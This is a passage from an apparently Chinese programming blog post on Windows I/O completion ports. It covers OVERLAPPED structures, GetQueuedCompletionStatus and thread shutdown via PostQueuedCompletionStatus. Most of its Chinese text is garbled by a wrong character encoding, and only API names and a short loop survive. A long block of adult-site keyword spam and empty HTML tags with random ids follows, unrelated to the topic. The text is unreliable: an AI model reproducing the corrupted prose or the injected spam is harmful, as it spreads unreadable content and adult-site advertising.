OVERLAPPED鍙傛暟鏄湪姣忔璋冪敤ReadFile榪欐牱鐨勬敮鎸侀噸鍙營/0鐨勫嚱鏁版椂浼犻掔粰瀹屾垚绔彛鐨勩傛垜浠彲浠ョ湅鍒幫紝濡傛灉鎴戜滑涓嶆槸瀵規(guī)枃浠惰澶囧仛鎿嶄綔錛岃緇撴瀯鐨勬垚鍛樺彉閲忓氨瀵規(guī)垜浠嚑涔庢鏃犱綔鐢ㄣ傛垜浠渶瑕侀檮鍔犱俊鎭紝鍙互鍒涘緩鑷繁鐨勭粨鏋勶紝鐒跺悗灝哋VERLAPPED緇撴瀯鍙橀噺浣滀負鎴戜滑緇撴瀯鍙橀噺鐨勭涓涓垚鍛橈紝鐒跺悗浼犻掔涓涓垚鍛樺彉閲忕殑鍦板潃緇橰eadFile鍑芥暟銆傚洜涓虹被鍨嬪尮閰嶏紝褰撶劧鍙互閫氳繃緙栬瘧銆傚綋GetQueuedCompletionStatus鍑芥暟榪斿洖鏃訛紝鎴戜滑鍙互鑾峰彇鍒扮涓涓垚鍛樺彉閲忕殑鍦板潃錛岀劧鍚庝竴涓畝鍗曠殑寮哄埗杞崲錛屾垜浠氨鍙互鎶婂畠褰撲綔瀹屾暣鐨勮嚜瀹氫箟緇撴瀯鐨勬寚閽堜嬌鐢紝榪欐牱灝卞彲浠ヤ紶閫掑緢澶氶檮鍔犵殑鏁版嵁浜嗐傚お濂戒簡錛佸彧鏈変竴鐐硅娉ㄦ剰錛屽鏋滆法綰跨▼浼犻掞紝璇鋒敞鎰忓皢鏁版嵁鍒嗛厤鍒板爢涓婏紝騫朵笖鎺ユ敹绔簲璇ュ皢鏁版嵁鐢ㄥ畬鍚庨噴鏀俱傛垜浠氬父闇瑕佸皢ReadFile榪欐牱鐨勫紓姝ュ嚱鏁扮殑鎵闇瑕佺殑緙撳啿鍖烘斁鍒版垜浠嚜瀹氫箟鐨勭粨鏋勪腑錛岃繖鏍峰綋GetQueuedCompletionStatus琚繑鍥炴椂錛屾垜浠殑鑷畾涔夌粨鏋勭殑緙撳啿鍖哄彉閲忎腑灝卞瓨鏀句簡I/0鎿嶄綔鐨勬暟鎹?br>CompletionKey鍜孫VERLAPPED鍙傛暟錛岄兘鍙互閫氳繃GetQueuedCompletionStatus鍑芥暟鑾峰緱銆?br>   4銆佺嚎紼嬬殑瀹夊叏閫鍑?br>       寰堝綰跨▼涓轟簡涓嶆涓嬈$殑鎵ц寮傛鏁版嵁澶勭悊錛岄渶瑕佷嬌鐢ㄥ涓嬭鍙?br>while (true)
{
       .銆傘傘傘傘傘?br>       GetQueuedCompletionStatus(...);
              銆傘傘傘傘傘?br>}
閭d箞濡備綍閫鍑哄憿錛岀瓟妗堝氨鍦ㄤ簬涓婇潰鏇炬彁鍒扮殑PostQueudCompletionStatus鍑芥暟錛屾垜浠彲浠ョ敤瀹冨彂閫佷竴涓嚜瀹氫箟鐨勫寘鍚簡OVERLAPPED鎴愬憳鍙橀噺鐨勭粨鏋勫湴鍧錛岄噷闈㈠寘鍚竴涓姸鎬佸彉閲忥紝褰撶姸鎬佸彉閲忎負閫鍑烘爣蹇楁椂錛岀嚎紼嬪氨鎵ц娓呴櫎鍔ㄤ綔鐒跺悗閫鍑恒?

]]>
青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            亚洲另类视频| 久久久精品一区| 亚洲亚洲精品在线观看| 裸体丰满少妇做受久久99精品| 国产精品久久婷婷六月丁香| 亚洲国产高清自拍| 蜜桃av噜噜一区| 欧美与欧洲交xxxx免费观看| 国产精品久久久久久久9999| 一区二区三区视频在线观看| 91久久久久久| 欧美a级一区| 亚洲国产精品成人va在线观看| 久久综合色一综合色88| 久久精品中文字幕一区| 精品不卡一区| 欧美大片在线观看一区| 欧美成人精品福利| 亚洲最新在线| 一区二区国产日产| 国产精品久久久久久久久久尿| 亚洲天天影视| 亚洲网站在线播放| 国产一区二区三区奇米久涩| 久久久久久久一区二区| 久久米奇亚洲| 欧美精品日韩精品| 亚洲综合三区| 国产一区二区精品久久91| 久久成人免费电影| 久久国产免费看| 亚洲国产成人久久综合| 亚洲国内自拍| 国产精品久久久久一区二区三区| 亚欧美中日韩视频| 久久免费视频这里只有精品| 亚洲美女免费精品视频在线观看| 亚洲黄色尤物视频| 国产精品第三页| 久久综合中文色婷婷| 欧美噜噜久久久xxx| 香蕉av777xxx色综合一区| 久久久久五月天| 这里只有精品在线播放| 亚洲欧美视频一区| 亚洲三级影院| 亚洲欧美日韩中文播放| 亚洲欧洲一区二区在线播放| 亚洲天堂av高清| 在线看一区二区| 一区二区三区四区五区在线| 国产手机视频一区二区| 亚洲人久久久| 国产一区二区三区日韩欧美| 亚洲精品久久久久久久久久久久久| 国产精品日韩二区| 亚洲国产精品视频| 国产日韩在线不卡| 99热免费精品| 亚洲品质自拍| 久久精品中文字幕一区二区三区| 99re6热只有精品免费观看| 香蕉乱码成人久久天堂爱免费 | 亚洲精品护士| 黄色成人在线免费| 在线视频免费在线观看一区二区| 在线看日韩欧美| 香蕉久久夜色精品国产使用方法 | 一区二区三区国产盗摄| 亚洲国产欧美一区二区三区久久 | 欧美精品一区三区| 女女同性精品视频| 国产婷婷一区二区| 亚洲欧美日本国产有色| 在线亚洲一区| 欧美激情视频一区二区三区不卡| 久久综合久久久| 国产亚洲欧美色| 亚洲欧美另类综合偷拍| 亚洲一区二区三区欧美 | 亚洲精品国久久99热| 久久久999国产| 久久久噜噜噜久久| 久久久夜夜夜| 99v久久综合狠狠综合久久| 久久偷窥视频| 久久激五月天综合精品| 国产精品视频不卡| 亚洲男人影院| 欧美一区二粉嫩精品国产一线天| 欧美三区在线观看| 一区电影在线观看| 亚洲午夜久久久| 国产精品v欧美精品v日韩精品| 亚洲精品一区二区三区99| aa国产精品| 欧美午夜电影网| 亚洲午夜免费福利视频| 午夜精品福利一区二区蜜股av| 欧美午夜电影网| 亚洲欧美在线看| 久久九九精品99国产精品| 国产无一区二区| 久久亚洲春色中文字幕| 欧美激情女人20p| 99国产精品自拍| 国产精品vvv| 欧美一区二区视频97| 免费高清在线一区| 日韩视频精品在线观看| 国产精品久久福利| 久久精品99国产精品| 欧美国产精品劲爆| 一区二区三区产品免费精品久久75 | 欧美啪啪成人vr| 亚洲视频碰碰| 久久女同互慰一区二区三区| 亚洲激情成人网| 欧美日韩精品福利| 亚洲欧美999| 欧美激情综合色| 亚洲免费在线电影| 在线观看av不卡| 欧美日韩一区综合| 亚洲欧美影音先锋| 亚洲国产小视频| 欧美自拍丝袜亚洲| 亚洲精品一二区| 国产午夜一区二区三区| 欧美精品精品一区| 欧美在线观看一二区| 亚洲精品久久久蜜桃| 久久精品国产清高在天天线| 亚洲精品视频在线观看网站| 国产欧美精品一区| 欧美精品日本| 久久久久国产一区二区| 一本大道久久a久久精二百| 久久亚洲国产成人| 亚洲午夜日本在线观看| 18成人免费观看视频| 国产精品一区二区三区四区五区| 米奇777在线欧美播放| 亚洲欧美综合国产精品一区| 亚洲国产欧美精品| 乱中年女人伦av一区二区| 亚洲午夜精品一区二区| 亚洲二区免费| 国产一区二区主播在线| 久久欧美中文字幕| 亚洲麻豆国产自偷在线| 欧美顶级少妇做爰| 久久成人精品| 亚洲欧美国产不卡| 99视频精品全国免费| 亚洲国产视频直播| 欧美大片18| 毛片一区二区三区| 久久久久综合一区二区三区| 亚洲免费小视频| 亚洲图片在线| 这里只有精品在线播放| 日韩午夜在线播放| 亚洲精品一区在线观看香蕉| 亚洲大片一区二区三区| 狠狠色丁香久久综合频道| 国产伦精品一区二区三区在线观看| 欧美连裤袜在线视频| 欧美高清在线精品一区| 美女网站久久| 蜜桃av久久久亚洲精品| 老妇喷水一区二区三区| 久久婷婷av| 免费在线欧美黄色| 欧美国产日本高清在线| 欧美激情一区二区三区在线视频| 免费不卡中文字幕视频| 免费精品视频| 欧美精品九九| 欧美午夜精彩| 国产精品亚洲一区二区三区在线| 国产精品一区二区久久久| 国产乱理伦片在线观看夜一区 | 怡红院精品视频在线观看极品| 国产一区二区三区日韩| 一区在线免费观看| 亚洲国产另类久久久精品极度| 亚洲国内高清视频| 9色精品在线| 欧美一区二区三区播放老司机| 欧美在线你懂的| 媚黑女一区二区| 亚洲激情在线观看视频免费| 亚洲人在线视频| 亚洲伊人第一页| 久久久久国色av免费看影院| 欧美国产先锋| 国产精品性做久久久久久| 黄色亚洲精品| 一区二区久久|